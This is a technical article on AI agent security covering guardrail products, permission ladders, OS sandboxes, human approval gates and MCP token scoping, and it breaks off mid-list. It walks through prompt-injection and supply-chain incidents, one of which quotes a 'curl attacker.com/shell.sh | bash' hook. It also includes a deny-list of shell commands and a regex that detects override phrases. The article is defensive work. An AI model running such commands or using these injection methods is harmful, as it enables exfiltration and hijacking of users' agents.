AI Agent Security in 2026: Guardrails, Permissions, Sandboxes, and MCP Threats
Part 4 of the Engineering the Agentic Stack series
Part 3 ended at the tool boundary: the model proposes an action and the tool returns an observation. This article inserts policy between those two events and follows the action into credentials, files, networks, and external side effects.
AI agent security is broader than LLM safety. Early guardrail products inspected the input and output of one model call. They could filter toxic text, redact personal data, block jailbreaks, and reject off-topic answers. That boundary was useful while the model could only return text.
Tool loops added filesystems, shells, MCP servers, and credentials. That expanded the threat model from unsafe text to unsafe actions. The six incidents examined below were not failures that a better output filter could prevent; the surrounding system had been compromised.
TL;DR: Content filters inspect text around a model call. Agent security also controls proposed tool calls, credentials, files, network access, and irreversible side effects. The incidents in this article occurred outside the boundary a text filter can enforce. A practical policy stack combines permissions, pre-tool hooks, OS sandboxes, human escalation, scoped credentials, and an audit trace.
AI agent security stack
The practical 2026 stack is not one guardrail. It is a set of boundaries around the loop.
| Layer | What it controls | Example failure it catches |
|---|---|---|
| Content filters | Unsafe input and output text | Toxic output, PII leakage, policy-violating completions |
| Permission ladder | Which tools, paths, APIs, and scopes the agent can use | A summarizer trying to write to production systems |
| Pre-tool policy hook | Whether this specific action should run now | Shell command built from untrusted retrieved content |
| Sandbox | What the tool can touch at the OS and network layer | File exfiltration, dependency compromise, command injection |
| Human gate | Irreversible or high-impact actions | Sending email, moving money, deploying to production |
| MCP and token scoping | Which server and audience a credential is valid for | Token reuse across an unintended tool server |
| Audit trace | What happened, who approved it, and why | Incident investigation after a long autonomous run |
The useful rule is simple: content filters answer whether the model said something unsafe; agent security answers whether the system is allowed to do the next thing.
Managed content filters cover the text layer. The remaining controls belong in application policy, identity, and infrastructure.
Why AI agent security is different from LLM safety
Bharani Subramaniam and Martin Fowler set up the framing in early 2025 in Emerging Patterns in Building GenAI Products. Their observation was narrow and direct:
“With traditional systems, we could assess correctness primarily through testing… With LLM-based systems, we encounter a system that no longer behaves deterministically.”
Output evaluation answers whether a model response meets a rubric. An agent threat model must also cover tool calls, shell commands, file writes, credentials, and network requests. Those actions cross boundaries that an output grader cannot enforce.
Simon Willison coined the shape of the agent-specific risk in June 2025 with the lethal trifecta:
“The lethal trifecta of capabilities is: access to your private data; exposure to untrusted content; the ability to externally communicate in a way that could be used to steal your data. If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to that attacker.”
Many useful agents combine these capabilities: inbox access, web retrieval, and a messaging tool; or repository access, issue reading, and pull-request writes. A content guardrail asks whether the model generated unsafe text. The trifecta asks whether untrusted input can steer the system into disclosing data through a permitted action.
The structural version of the same argument lives in Joel Fokou’s Parallax preprint (arXiv 2604.12986, submitted April 14, 2026, not peer-reviewed). The core claim:
“The system that reasons about actions must be structurally unable to execute them, and the system that executes actions must be structurally unable to reason about them, with an independent, immutable validator interposed between the two.”
You don’t have to accept the paper’s evaluation numbers to examine its structural point. Several current harnesses implement parts of the same separation:
- Claude Code’s PreToolUse hooks
- Codex CLI’s OS-boxed executor (bubblewrap/seccomp on Linux)
- Managed Agents’ credential vault outside the sandbox
- MCP’s RFC 8707 audience-bound tokens
These systems keep model judgment behind a deterministic execution boundary. The specific controls differ, but the component that runs a command does not rely on the model’s opinion about whether the command is safe.
There’s a complementary discipline that Alessandro Pignati named most crisply in January 2026: the Principle of Least Agency. Least Privilege asks what can this identity access? Least Agency asks what is this agent allowed to decide? Privilege constrains the credentials; agency constrains the reach of a plan even when the credentials are valid. OWASP’s Top 10 for Agentic Applications treats Excessive Agency as one of the ten category failures. Least Agency is the design discipline that prevents it. An agent that can summarize your inbox probably does not need commit rights to your monorepo. We keep finding configurations where it does.
What LLM guardrails cover
LLM guardrails do meaningful work around the model call. They inspect input, retrieved text, and output, then block, redact, repair, or flag content that fails a configured rule. The products below differ in deployment and coverage, but none replaces the authorization check that runs before a tool call.
NVIDIA NeMo Guardrails
The most opinionated: an orchestration framework around five rail types (input, dialog, retrieval, execution, output) with its own DSL — Colang, a Python-like language for dialog flows, user intents, and bot messages. You can drive the basics from Python + YAML, but richer dialog logic is authored in Colang — hence “opinionated.” Docs at docs.nvidia.com/nemo/guardrails.
from nemoguardrails import LLMRails, RailsConfig
config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
messages=[{"role": "user", "content": "Hello"}]
)
NeMo’s repo is explicit about its threat model: “common LLM vulnerabilities, such as jailbreaks and prompt injections.” It is equally explicit about its scope: “The built-in guardrails may or may not be suitable for a given production use case… developers should work with their internal application team to ensure guardrails meets requirements.” What this means in practice: NeMo will watch what the model says. What the agent does (which tools it calls, what arguments it passes, what it reads back from the filesystem) is on you.
Meta Llama Guard 4
A 12B pure content classifier pruned from Llama-4-Scout, aligned to the MLCommons hazards taxonomy (13 harm categories plus code-interpreter abuse, per the model card). Meta is unusually candid about limits:
“Some hazard categories may require factual, up-to-date knowledge to be evaluated fully… Lastly, as an LLM, Llama Guard 4 may be susceptible to adversarial attacks or prompt injection attacks that could bypass or alter its intended use: see Llama Prompt Guard 2 for detecting prompt attacks.”
Meta ships a separate product to defend its content classifier against prompt injection. If that sentence reads like a structural admission, it is.
Guardrails AI
A validator registry. You compose 60+ Hub validators (PII via Presidio, JailbreakDetect, CompetitorCheck, provenance checks) with fail-modes raise | fix | filter | refrain | reask | noop (guardrailsai.com). There is no unified threat model; coverage equals the union of installed validators. Strength: flexible coverage based on the validators you choose. Weakness: no protection outside the validators you install.
Lakera Guard
The incumbent SaaS API, trained on tens of millions of attack samples harvested from Gandalf. Promises to screen input and output for “prompt attacks… and data leakage.” Free tier is 10,000 requests/month; enterprise pricing is opaque.
AWS Bedrock Guardrails
The enterprise default if you’re already on Bedrock. ApplyGuardrail works on any model, Bedrock or not:
import boto3
brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
guardrailIdentifier="gr-xxxxxxxxxxxx",
guardrailVersion="2",
source="INPUT",
content=[{"text": {"text": "user question",
"qualifiers": ["guard_content"]}}],
)
Published pricing: 0.10 for PII filters or contextual grounding. A text unit is up to 1,000 characters.
Azure AI Content Safety
Ships Prompt Shields as a unified endpoint that “detects and blocks adversarial user input attacks… direct and indirect threats.” Azure is also candid: “You can’t use Azure AI Content Safety to detect illegal child exploitation images,” and multilingual quality is limited to eight evaluated languages.
OpenAI Moderation and OpenAI Guardrails
omni-moderation-latest is the free multimodal baseline. Separately, openai-guardrails-python (docs at guardrails.openai.com) is OpenAI’s framework answer: a three-stage pipeline (pre-flight, input, output) with Jailbreak Detection, Hallucination Detection via FileSearch, NSFW, PII via Presidio, and LLM-as-judge. GuardrailAgent wires into the Agents SDK.
from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered
client = GuardrailsOpenAI(config="guardrail_config.json")
try:
resp = client.responses.create(model="gpt-5", input="...")
except GuardrailTripwireTriggered as e:
print(f"blocked: {e}")
The common boundary
Two observations that apply to all seven.
First, published latency and throughput numbers are thin on the ground. Bedrock, Azure, and Lakera publish pricing but no guarantees for worst-case latency. Meta publishes no hosted-endpoint guarantee for Llama Guard either. NVIDIA ships NeMo Guardrails as software you host, so latency depends on your model and infrastructure. Measure each synchronous check on the critical path instead of inferring its cost from product pricing.
Second, and this is the whole point of the post, none of these products claim to cover tool-call-layer policy, MCP authentication, multi-step exfiltration through retrieved content, agent-goal hijack via configuration files, or code execution that happens before the model is ever invoked. They filter tokens. Agents act outside the model’s generation stream, in the tool calls, the files, and the network, where no token classifier can see them.
AI agent security threats: six incidents and the OWASP ASI Top 10
The gap between filtering text and guarding execution stopped being academic in mid-2025. The six incidents below reached retrieval, configuration, credentials, package installation, or CI execution. A content classifier may still detect a suspicious string, but the controls that directly block these paths live at the tool, identity, sandbox, and supply-chain boundaries.
EchoLeak — CVE-2025-32711, CVSS 9.3
Disclosed by Aim Labs in June 2025 against Microsoft 365 Copilot, with the technical write-up now hosted on Cato Networks (which absorbed Aim Security’s research team) under the byline of Itay Ravia, former Head of Aim Labs (write-up). A crafted email, phrased as instructions to the human recipient, slipped past XPIA (Microsoft’s built-in filter that looks for prompt-injection attacks in Copilot inputs). From there it got pulled into Copilot’s retrieval layer — the part of the system that searches your documents to find context for answers — through a trick the researchers call RAG-spraying: the attacker plants the same malicious instruction across many indexed documents, so retrieval is almost certain to pull at least one of them into the model’s context. Once inside, Copilot obediently embedded the most sensitive data from the session into a Markdown link pointing at an image on an attacker-controlled domain. The Teams preview API, running on a domain Microsoft’s own browser policies already trusted, auto-fetched that image URL, and in doing so handed the data to the attacker. Zero clicks. Aim Labs named this class of attack “LLM Scope Violation”: the model crossing a boundary it was never supposed to cross, using only operations each individual system considered legitimate.
Every step looked legitimate in isolation. The email was addressed to a human. Retrieval pulled a document it was supposed to pull. The Markdown link rendered the way Markdown links render. The image fetch hit an allowlisted domain. XPIA had nothing to flag because nothing, on its own, was flaggable. The system was compromised. The model was not.
Amazon Q Developer VS Code v1.84.0 — July 2025
AWS shipped a compromised build after an attacker committed a malicious system-prompt file through an over-scoped CodeBuild GitHub token (advisory). The injected prompt told the agent to “clean a system to a near-factory state and delete file-system and cloud resources.” A syntax error prevented live execution on the ~950,000 installs. AWS revoked credentials, removed the code, and shipped v1.85.0. The payload failed because of a syntax error, not because a security control blocked it.
Azure MCP Server — CVE-2026-32211, CVSS 9.1
The starkest example of the wrong layer. CVE feed records it as “Missing authentication for critical function in Azure MCP Server allows an unauthorized attacker to disclose information over a network.” The MCP SDK has no built-in auth. This server forgot to add one. No content filter is ever invoked because the model is not in the picture. The attacker talks straight to the tool.
Claude Code CVE-2025-59536 — CVSS 8.7
The canonical agent-configuration-trust vulnerability. Check Point’s Aviv Donenfeld and Oded Vanunu disclosed that “repository-defined configurations defined through .mcp.json and .claude/settings.json files could be exploited by an attacker to override explicit user approval… by setting the enableAllProjectMcpServers option to true.”
The attack chain is worth walking slowly:
- Victim clones an untrusted repo.
- A
SessionStarthook executescurl attacker.com/shell.sh | bashbefore Claude Code’s trust dialog appears. .mcp.jsonauto-approves untrusted MCP servers.ANTHROPIC_BASE_URL(the companion CVE-2026-21852, CVSS 5.3) silently redirects all Claude API calls, including Bearer tokens, to an attacker-controlled host.
Fixed in Claude Code 1.0.111 and 2.0.65 respectively (advisory GHSA-ph6w-f82w-28w6). Check Point’s summary is the one to remember: “traditional prompt injection defenses… provide zero protection.” The attacker’s code runs on your machine (what security folks call remote code execution, or RCE) before the model is ever invoked.
Axios 1.14.1 — March 31, 2026
Maintainer jasonsaayman on the post-mortem: “two malicious versions of axios (1.14.1 and 0.30.4) were published to the npm registry through my compromised account. Both versions injected a dependency called plain-crypto-js@4.2.1 that installed a remote access trojan on macOS, Windows, and Linux.” A remote access trojan is malware that quietly opens a backdoor — it lets the attacker run commands, read files, and watch what you type from somewhere else on the internet. Exposure window: roughly three hours. Attribution: UNC1069 (Sapphire Sleet) per Google’s threat intelligence group. Every coding agent that happened to run npm install in that window pulled the backdoor in. The model was never involved. In this class of incident, the failure is supply chain execution, not model behavior.
Trivy Actions Tag Hijack — GHSA-69fq-xp46-6x23, March 19, 2026
An attacker rewrote 76 of 77 version tags in aquasecurity/trivy-action — the repository that countless CI pipelines use for security scanning — so that the tags now pointed at credential-stealing malware instead of the real Trivy code. They replaced all 7 tags in setup-trivy the same way, and shipped a v0.69.4 binary that harvested environment variables (passwords, API keys, tokens — the stuff in /proc/<pid>/environ on Linux) straight out of GitHub Actions runners (Aqua advisory). Any coding agent that ran npm install or a security scan step during the window auto-executed the payload, because agents trust tags the same way humans do, which is to say, completely.
The OWASP ASI Top 10, 2026 edition
OWASP (the Open Worldwide Application Security Project, the nonprofit behind the canonical Top 10 list of web vulnerabilities that most security programs orient around) saw this coming. Its Agentic Security Initiative is a working group focused specifically on LLM-driven agents, and on December 9, 2025 it published the Agentic Security Initiative Top 10 for 2026: a ranked catalog of the ten categories of vulnerability that distinguish agent systems from classical LLM apps.
The list is worth reading slowly. It draws on where real-world incidents have been clustering, cross-referenced against what the wider security community flags as the most consequential failure modes in production agent deployments. Read it as a checklist of what a modern agent threat model is supposed to cover:
Content filters can contribute to ASI01 and ASI06. The remaining categories require controls in identity, tool policy, memory, orchestration, monitoring, or supply-chain management. EchoLeak maps to ASI01. Amazon Q maps to ASI04 and ASI02. Azure MCP is ASI03. Claude Code CVE-2025-59536 spans ASI05, ASI04, and ASI03. Axios and Trivy are ASI04. The mapping shows why the threat model must extend beyond model input and output.
Permission is infrastructure, not prompt
This is the part where guardrails stop being the product and start being one subsystem of a harness. Three systems in April 2026 (OpenAI Agents SDK, Codex CLI, and Claude Code) show what a production policy surface actually looks like. All three enforce permission in code. None of them rely on the model being careful.
OpenAI Agents SDK
The SDK separates harness from compute. Hosted MCP tools take require_approval — a string ("always" / "never") or a per-tool dict — plus an on_approval_request callback that fires when a tool is gated. Fine-grained tool filtering (tool_filter) is available on the local server variants (MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) if you need it:
from agents import Agent, HostedMCPTool
agent = Agent(
name="Ops",
tools=[HostedMCPTool(
tool_config={
"type": "mcp",
"server_label": "github",
"server_url": "https://mcp.example.com",
"require_approval": {"delete_repo": "always",
"list_issues": "never"},
},
on_approval_request=lambda r:
"approve" if r.tool_name == "list_issues" else "reject",
)],
)
The approval callback is code. The per-tool approval policy is code. You can read this file. You can test it. You can diff it. None of that is true of a system prompt that says “please be careful with production.”
Codex CLI and the managed policy layer
OpenAI’s coding harness ships a managed-configuration file that IT departments push to employees’ Macs through their device-management system (the same mechanism they use to install certificates or VPN settings). The file lives at /etc/codex/requirements.toml and acts as a hard-constraint layer — rules that project-level settings cannot override, no matter what a developer writes in their own config:
[[rules.prefix_rules]]
pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }]
decision = "forbidden"
justification = "Recursive force-delete prohibited by IT policy"
Two design details. prefix_rules.decision accepts only "prompt" or "forbidden", never "allow". A project cannot grant itself a permission that the managed layer forbids. And MCP allowlists are keyed on both name and identity (command string or URL), so a project can’t claim to be github-mcp and point at an attacker’s server.
Claude Code’s permission ladder
Claude Code publishes a six-gate evaluation order for every tool call (docs): deny → ask → PreToolUse hooks → allow → mode → canUseTool. Hooks outrank modes, and a permissionDecision: "deny" from a hook blocks execution even under bypassPermissions.
Modes cycle default → acceptEdits → plan with Shift+Tab. auto, bypassPermissions, and dontAsk activate under specific entry conditions that the enterprise-managed policy layer can lock out. This is more than a config file being checked for correctness. It’s a state machine with precedence rules, published so a security team can reason about them.
Three blast radii in one file
Here’s the shape of a Codex-style permission config with three profiles:
# ~/.codex/config.toml
approval_policy = "auto"
sandbox_mode = "workspace-write"
[profiles.ci]
approval_policy = "read-only"
sandbox_mode = "read-only"
[profiles.release]
approval_policy = "full-access"
sandbox_mode = "workspace-write"
[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]
Three profiles, three blast radii, no prompt telling the agent to be careful. If the agent tries something outside its profile, the OS-level sandbox says no. Seatbelt on macOS, bubblewrap plus seccomp on Linux, restricted tokens on Windows. The model’s opinion does not enter.
Sandbox enforcement is an OS question
The kernel does the actual work here. Each OS hands you a different toolkit, and the two CLIs don’t always reach for the same piece:
| Platform | Claude Code | Codex CLI |
|---|---|---|
| macOS | Seatbelt via sandbox-exec with an SBPL (Seatbelt Profile Language) profile | Seatbelt via sandbox-exec -p |
| Linux | bubblewrap + socat network proxy | bubblewrap + seccomp (legacy Landlock via use_legacy_landlock) |
| Windows | WSL2 required | Native restricted tokens / AppContainer + ACL + capability SIDs |
They agree where the OS gives one option (Seatbelt, bubblewrap) and split where it doesn’t. Claude Code skips Windows and sends you to WSL2. Codex ships a native Windows sandbox. Either way, enforcement happens in the kernel, not in the model.
Codex’s Linux path stacks four kernel-level locks: PR_SET_NO_NEW_PRIVS (the process can never gain extra privileges, even if it tries), a seccomp filter (the kernel refuses most system calls outright; in this case, anything that opens a network socket except local Unix ones), a fresh isolated /proc (the process can’t see the rest of the machine), and RLIMIT_CORE=0 (no crash dumps, so nothing leaks that way). Windows runs two modes, unelevated (a restricted-token process that loses privileges but still runs as the user) and elevated (a dedicated sandbox user isolated behind firewall rules), plus small fake executables placed ahead on the system’s PATH so agent attempts to run curl or wget hit the interceptor instead of the real tool. A whole subdiscipline of engineering sits here, and the model never enters the picture. That’s where the real work is.
Isolation choices beyond Claude Code and Codex
If you’re rolling your own agent, “sandbox” turns out to be an umbrella term. The open-source options sit on a spectrum — lightweight namespace wrappers at one end, full microVMs at the other — and the one you pick depends on how much you trust the code running inside.
Light isolation — same kernel, fewer privileges:
- bubblewrap — a namespace-plus-seccomp wrapper. Same tool Flatpak uses, same tool Claude Code reaches for on Linux. Fast, cheap, fine for trusted tooling.
- Standard Docker / OCI containers — namespace isolation over a shared host kernel. Not a sandbox for untrusted code; gVisor’s own docs spell this out (“containers are not a sandbox”). Reasonable as a starting point when paired with seccomp and AppArmor, nothing more.
Application-kernel isolation — the agent talks to a fake kernel:
- gVisor — Google’s user-space kernel. Your container thinks it is on Linux while a Go kernel implementation intercepts system calls. This reduces direct host-kernel exposure without a guest VM, with compatibility and performance trade-offs.
Full VM isolation — a dedicated kernel per sandbox:
- Firecracker — AWS’s microVM tech, the same thing running Lambda. ~125ms cold starts. Each sandbox gets its own real Linux kernel inside KVM. A kernel escape in one sandbox doesn’t touch the host or any sibling.
- Kata Containers — container UX, VM-grade isolation. Where Kubernetes clusters go when they need to run untrusted code.
Platforms — what you’d rent instead of build:
- E2B wraps Firecracker into a hosted sandbox API.
- Alibaba’s OpenSandbox lets you pick your runtime — gVisor, Kata, or Firecracker — behind one SDK.
- Microsoft’s Agent Governance Toolkit (MIT-licensed, April 2026) adds a runtime policy engine on top. Sub-millisecond enforcement, targets the OWASP ASI Top 10 directly.
Choose the isolation level from the code’s trust level, tenant boundary, network access, host data, and recovery cost. Namespace and seccomp controls can fit trusted internal tools. LLM-generated code and untrusted packages need a stronger boundary such as gVisor, Kata, or a microVM, followed by tests against the escape and exfiltration paths in your own threat model.
Claude Code and Codex picked from the same menu everyone else does. They just wrapped it differently.
PreToolUse hooks as programmable policy
Modes and allowlists handle the simple cases: “let the agent edit files but not run bash,” “deny anything that looks like rm -rf.” They fail when your policy needs real logic. You want to block git push only when the branch is main. You want to deny any Edit that touches a file matching a secret regex. You want to rate-limit shell calls per session, or pipe every tool invocation into your central audit log (the SIEM, the security information and event management system that your security team already watches).
None of that fits in a static allowlist. That’s what hooks are for — shell commands Claude Code runs at specific points in the tool-call lifecycle, with the power to inspect the pending call and return a structured allow/deny. Claude Code exposes a dozen lifecycle events (the full list is in the docs), and one of them reorders everything else: a PreToolUse hook that returns permissionDecision: "deny" blocks a tool regardless of mode.
Here’s the settings shape:
{
"permissions": {
"defaultMode": "acceptEdits",
"deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
},
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": ".claude/hooks/pre-bash-firewall.sh"
}
]
},
{
"matcher": "Edit|Write",
"hooks": [
{
"type": "command",
"command": ".claude/hooks/protect-paths.sh"
}
]
}
]
}
}
A hook can be a five-line shell script or a full policy engine. The return shape is what matters:
{
"hookSpecificOutput": {
"permissionDecision": "deny",
"permissionDecisionReason": "writes outside workspace prohibited"
}
}
The model sees a structured deny. The reasoning loop from Part 1 handles it like any other tool observation: the denial becomes context, the agent replans, the loop continues. This is the small-but-important reason I keep saying permission is infrastructure. It’s wired into the same mechanism that handles a 500 from an HTTP tool. It’s not a separate security workflow that has to be bolted on.
A common anti-pattern is writing a system prompt that says “do not delete any files without explicit user confirmation,” shipping the agent, and relying on that instruction as the control. A prompt or corrupted tool output can route around the instruction. The model is not a policy engine. It can match the pattern you wrote or one supplied by an attacker.
Human approval works only as escalation
The content-filter layer runs in parallel with the model and watches what it says. Permission ladders run before the tool and watch what it tries to do. The third layer, the one that catches what the first two missed, is the human. Done well, HITL is an escalation channel. Done poorly, it’s a dialog box that gets clicked through 93% of the time.
LangGraph supplies the pause/resume primitive. HumanLayer packages the approval channel, and Anthropic’s usage data shows why the number and quality of escalations must be measured.
The LangGraph primitive
LangGraph’s interrupt() + Command(resume=value) pauses a graph, persists its state through the configured checkpointer, and resumes with a human-supplied value. Three execution details determine whether that resume is safe:
“When execution resumes (after you provide the requested input), the runtime restarts the entire node from the beginning — it does not resume from the exact line where
interruptwas called.”
Three constraints follow from that restart behavior:
1. Side effects before interrupt() must be idempotent. When the human responds, the whole node runs from the top again, not from the interrupt() line. So if your node sends an email, pauses for approval, then returns “sent,” on resume the email gets sent a second time. Fix: put side effects after the interrupt, or make them safe to repeat (dedupe keys, upsert instead of insert, cache by message ID).
2. Interrupts match to resumes by index, not by name. If a single node has two interrupt() calls, LangGraph pairs them with Command(resume=...) values in the order they fire. Any branching that changes how many interrupts run (an if that skips one on resume, a loop that iterates a different number of times) will misalign the indexes and crash.
3. Payloads must be JSON-serializable. The pause is written to a checkpointer (Postgres, Redis, SQLite) so the agent can survive a process restart. Raw Python objects, datetime, set, custom classes: none of that round-trips. Convert to dicts and primitives before you hand anything to interrupt().
The three canonical patterns:
# (a) Approval gate
@tool
def send_email(to, subject, body):
resp = interrupt({"action": "send_email", "to": to,
"subject": subject, "body": body})
if resp.get("action") == "approve":
return smtp_send(to, subject, body)
return "Email cancelled"
# (b) Edit-and-continue
def review_node(state):
edited = interrupt({"content": state["generated_text"]})
return {"generated_text": edited}
# (c) Mid-run state correction — loop until valid
def get_age_node(state):
prompt = "What is your age?"
while True:
answer = interrupt(prompt)
if isinstance(answer, int) and answer > 0:
return {"age": answer}
prompt = f"'{answer}' is not valid. Please enter a positive number."
Resume is graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ supports dict-based multi-interrupt resume for parallel branches, which matters the moment your agent fans out.
HumanLayer: approval as a product
HumanLayer is the managed version of the same idea. Decorate a function, and approval requests route to Slack, email, or Discord, with rules for who gets pinged. When the agent tries to call multiply(2, 5), the logs look like this:
last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply
The approver clicks approve or deny in Slack. On a deny, the HumanLayer docs put it this way: “HumanLayer will pass your feedback back to the agent, which can then adjust its approach.” That last part is what separates a real HITL layer from a glorified confirmation dialog. The human becomes a signal the agent reasons over, inside the same loop, instead of a gate that only knows yes or no.
Approval fatigue in the data
Anthropic published the real data in February 2026. Three findings matter more than the rest.
“We found that 80% of tool calls come from agents that appear to have at least one kind of safeguard (like restricted permissions or human approval requirements), 73% appear to have a human in the loop in some way, and only 0.8% of actions appear to be irreversible.”
That’s the good news. Treat 80% as an upper bound, because Anthropic’s footnote 14 adds that “Claude often overestimated human involvement, so we expect 80% to be an upper bound.”
“Newer users (<50 sessions) employ full auto-approve roughly 20% of the time; by 750 sessions, this increases to over 40% of sessions.”
This is the drift. Users start cautious. Users become less cautious as they build trust with the tool. This is what humans do. It is not a character flaw. It’s a telemetry signal your system needs to be aware of. (One small fact-check note: secondary coverage widely cited this as “20% → over 50%.” Against Anthropic’s primary data, the verified number is 20% → over 40%. If you’ve seen the 50% figure, that’s where it came from and why.)
Anthropic’s March 2026 engineering post on Claude Code’s auto mode gives the key number:
“Claude Code users approve 93% of permission prompts. We built classifiers to automate some decisions, increasing safety while reducing approval fatigue… If a session accumulates 3 consecutive denials or 20 total, we stop the model and escalate to the human.”
93% approval is the key signal. When a dialog is approved nine times out of ten, it is no longer a reliable security control. It is telemetry. Users have learned to click through it. The Anthropic response is architectural. A two-stage classifier (fast single-token filter, then chain-of-thought only if flagged, 0.4% FPR) removes approval prompts for low-risk actions and stops the loop entirely if denials cluster.
Measure escalation quality
Allowlist routine, reversible actions and log them. Escalate actions whose side effects cross a boundary the runtime cannot undo, such as an external message, a production write, a force push, or a payment. Anthropic frames the goal as keeping a human able to intervene when the decision carries real consequence.
Track the full funnel rather than aiming for a borrowed approval-rate target: proposed actions, automatic allows, escalations, approvals, denials, edits, and incidents after approval. A high approval rate may mean the prompts are routine noise. A high denial or edit rate may mean the planner is proposing the wrong action or hiding the information an approver needs. The useful threshold depends on the action class and the cost of a false allow, so set it from your own incident and review data.
MCP scoping and the supply chain
MCP connects agents to external tools such as Slack, GitHub, and databases, which makes its authorization model part of the security boundary. The 2025 specification revisions separated token issuer and resource-server roles and added resource indicators. That history explains which audience and forwarding checks a server must enforce today.
MCP authorization in three revisions
The 2025-03-26 spec mandated OAuth 2.1 with PKCE, the standard flow for public clients. That part was right, but the spec was incomplete in a subtle and dangerous way. It blurred two very different roles an MCP server could play: the authorization server (AS), which issues tokens, and the resource server (RS), which accepts them. When the same server can do both, a client might hand a token to server A, and if server A forwards the request upstream to server B, the same credential ends up traveling somewhere it was never meant to go. That’s the hole.
The 2025-06-18 revision separated the roles. An MCP server acts as an OAuth resource server, while an external authorization server issues the token. RFC 8707 Resource Indicators bind the token to a target resource, and RFC 9728 Protected Resource Metadata gives the client an explicit discovery path. The spec also forbids an MCP server from forwarding a client’s token upstream.
Audience binding limits replay against the wrong MCP server. It does not neutralize the rest of the Claude Code attack chain described above: a host-side hook can still execute before the model starts, and an untrusted project can still try to change local configuration. Token scope, project trust, hook policy, and sandboxing remain separate controls.
The 2026 MCP checklist
If you’re shipping or consuming MCP in production:
- Authentication is not optional. The Azure MCP Server CVE was missing auth. If your server accepts traffic without verifying a token, you have built a tool that any attacker on the same network can call.
- Tokens are audience-bound. Request a token for the target MCP resource and validate that the presented token names your server as its audience. Reject tokens minted for another resource.
- Give each tool only the permissions it actually needs. Permissions live on the server, not the tool — so if a Slack MCP server is granted permission to post messages (
chat:write), every Slack tool on that server inherits it, including tools that should only be reading. Split them into separate servers when you can, so a bug in one tool can’t quietly use a permission it never needed. - Use fresh, short-lived tokens instead of permanent API keys. The Claude Managed Agents vault pattern (Anthropic engineering) is the reference: the agent itself never sees the real credentials. A middleman service holds them, fetches a fresh token at the moment a tool is called, uses it on the agent’s behalf, and hands back only the result.
Supply-chain controls still apply
The axios and Trivy incidents are familiar package and CI supply-chain failures applied to systems that automate dependency installation. Automation increases the number and speed of executions, so version, provenance, and review controls must run before the generated command reaches CI or a sandbox.
The defense is straightforward:
- Pin versions in the lockfile. Agents must not
--latest. - Scan in CI with tools that are independent of the component being checked.
- Use GitHub commit SHAs for Actions, not tags.
- Review dependency diffs on agent-driven PRs before merge.
These are standard supply-chain controls. Agent automation changes their frequency, not their mechanism.
A guardian stack for the Market Analyst Agent
The Market Analyst Agent from Part 1 is a small LangGraph agent. It fetches market data, summarizes research, and is not supposed to call shell commands, write outside its workspace, or exfiltrate anything. Here’s what a minimum guardian stack looks like for it.
Layer 1: a deny-list PreToolUse hook
Even an agent that “just reads stock data” can reach for things it shouldn’t: a curl to an attacker-controlled URL, writes outside the workspace, git mutations on the host repo. A deny rule is infrastructure, not prompt.
# agent/permissions.py
DENY_COMMANDS = frozenset({
"rm -rf", "sudo", "chmod 777",
"curl -X POST", "wget", "nc ",
})
DENY_PATHS = ("/", "/etc", "/Users", "/.ssh")
def pre_tool_use(tool_name: str, args: dict) -> dict | None:
if tool_name == "shell":
cmd = args.get("command", "")
if any(bad in cmd for bad in DENY_COMMANDS):
return {"permissionDecision": "deny",
"reason": f"command pattern disallowed: {cmd!r}"}
if tool_name == "write_file":
path = args.get("path", "")
if any(path.startswith(p) for p in DENY_PATHS):
return {"permissionDecision": "deny",
"reason": f"path outside workspace: {path!r}"}
return None # fall through to mode / canUseTool
The sketch makes the control point visible: the hook returns a structured deny, and the reasoning loop receives that denial as a tool observation. Substring matching is not a production shell policy. A real implementation should parse commands, resolve paths before comparison, use allowlists where possible, and rely on the OS sandbox when a command reaches execution.
Layer 2: an input canary for prompt injection
Agent-goal hijack (ASI01) often arrives through a retrieved web page, a user message, or a research paper PDF. A cheap regex canary catches literal instruction patterns and creates a useful telemetry event. It will miss obfuscated, multilingual, and context-dependent injections, so it cannot serve as the decision boundary:
# agent/input_canary.py
import re
INJECTION_PATTERNS = [
re.compile(r"ignore (previous|all|prior) (instructions|rules)",
re.IGNORECASE),
re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
re.compile(r"system[ _:]*prompt", re.IGNORECASE),
re.compile(r"<\|im_(start|end)\|>"),
]
def input_canary(text: str) -> dict | None:
for pat in INJECTION_PATTERNS:
m = pat.search(text)
if m:
return {"flag": "possible_injection", "match": m.group(0)}
return None
Log flagged inputs; don’t auto-reject. False positives here are expensive for a research assistant. But the log is what lets you notice when a flag count suddenly spikes from one user.
Layer 3: structured output validation via a stop hook
A Pydantic model plus a Stop hook gives you a tight validate-then-retry loop for report generation. The agent cannot claim “done” until the output passes schema validation and a smoke test:
# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport
def on_stop(final_output: str) -> dict:
try:
report = MarketReport.model_validate_json(final_output)
except ValidationError as e:
return {"decision": "continue",
"feedback": f"schema invalid: {e.errors()[:3]}"}
if not report.tickers:
return {"decision": "continue",
"feedback": "no tickers in report — did you skip the snapshot step?"}
return {"decision": "allow_stop"}
Three lines of schema validation and a smoke check are the difference between “the agent said it was done” and “the output is actually a report.” This is cheap insurance.
Layer 4: an interrupt gate on outbound actions
The market analyst should never send email or post to Slack. But if it ever gets a tool that could, that tool gets wrapped in interrupt():
# agent/tools/notify.py
from langgraph.types import interrupt
@tool
def send_report(to: str, body: str):
resp = interrupt({
"action": "send_report",
"to": to,
"body_preview": body[:400],
})
if resp.get("action") == "approve":
return smtp_send(to, body)
return "send cancelled by human"
Outbound actions complete the lethal trifecta. Gate them explicitly when the destination or content crosses the agent’s normal blast radius. Messages to finance, customers, or external recipients should carry enough preview and provenance for the approver to understand what will be sent.
What this stack does not do
The limits matter. This is not a defense against:
- A compromised upstream dependency (axios-class). The agent runs what
uv syncsays to run. - A malicious
